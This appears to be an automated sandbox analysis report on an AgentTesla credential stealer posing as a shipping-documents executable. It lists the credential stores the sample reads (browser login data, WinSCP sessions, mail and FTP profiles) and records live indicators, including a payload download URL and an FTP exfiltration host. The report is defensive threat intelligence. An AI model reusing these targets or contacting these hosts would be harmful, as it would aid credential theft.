Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Queries volume information: C:\Program Files (x86)\Windows Mail\wabmig.exe VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403532
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wabmig.exe PID: 4232, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\FTP Navigator\Ftplist.txt Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wabmig.exe PID: 4232, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wabmig.exe PID: 4232, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1518330 Sample: Shipping documents 00002299... Startdate: 25/09/2024 Architecture: WINDOWS Score: 100 27 ftp.concaribe.com 2->27 29 concaribe.com 2->29 31 api.ipify.org 2->31 47 Found malware configuration 2->47 49 Antivirus detection for URL or domain 2->49 51 Multi AV Scanner detection for dropped file 2->51 53 7 other signatures 2->53 8 Shipping documents 000022999878999800009999.exe 1 29 2->8         started        signatures3 process4 file5 21 C:\Users\user\AppData\Local\...\nsExec.dll, PE32 8->21 dropped 11 powershell.exe 20 8->11         started        process6 file7 23 Shipping documents...878999800009999.exe, PE32 11->23 dropped 25 Shipping documents...exe:Zone.Identifier, ASCII 11->25 dropped 55 Writes to foreign memory regions 11->55 57 Found suspicious powershell code related to unpacking or dynamic code loading 11->57 59 Powershell drops PE file 11->59 15 wabmig.exe 15 8 11->15         started        19 conhost.exe 11->19         started        signatures8 process9 dnsIp10 33 concaribe.com 192.185.13.234, 21, 49722 UNIFIEDLAYER-AS-1US United States 15->33 35 185.29.11.53, 49720, 80 DATACLUB-NL European Union 15->35 37 api.ipify.org 104.26.13.205, 443, 49721 CLOUDFLARENETUS United States 15->37 39 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 15->39 41 Tries to steal Mail credentials (via file / registry access) 15->41 43 Tries to harvest and steal ftp login credentials 15->43 45 Tries to harvest and steal browser information (history, passwords, etc) 15->45 signatures11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.29.11.53
 unknown European Union
203557 DATACLUB-NL false
104.26.13.205
 api.ipify.org United States
13335 CLOUDFLARENETUS false
192.185.13.234
 concaribe.com United States
46606 UNIFIEDLAYER-AS-1US true

Contacted Domains

Name IP Active
api.ipify.org 104.26.13.205 true
concaribe.com 192.185.13.234 true
ftp.concaribe.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.ipify.org/ false
  • URL Reputation: safe
 unknown
http://185.29.11.53/bgJJbKBK219.bin false
  • Avira URL Cloud: safe
 unknown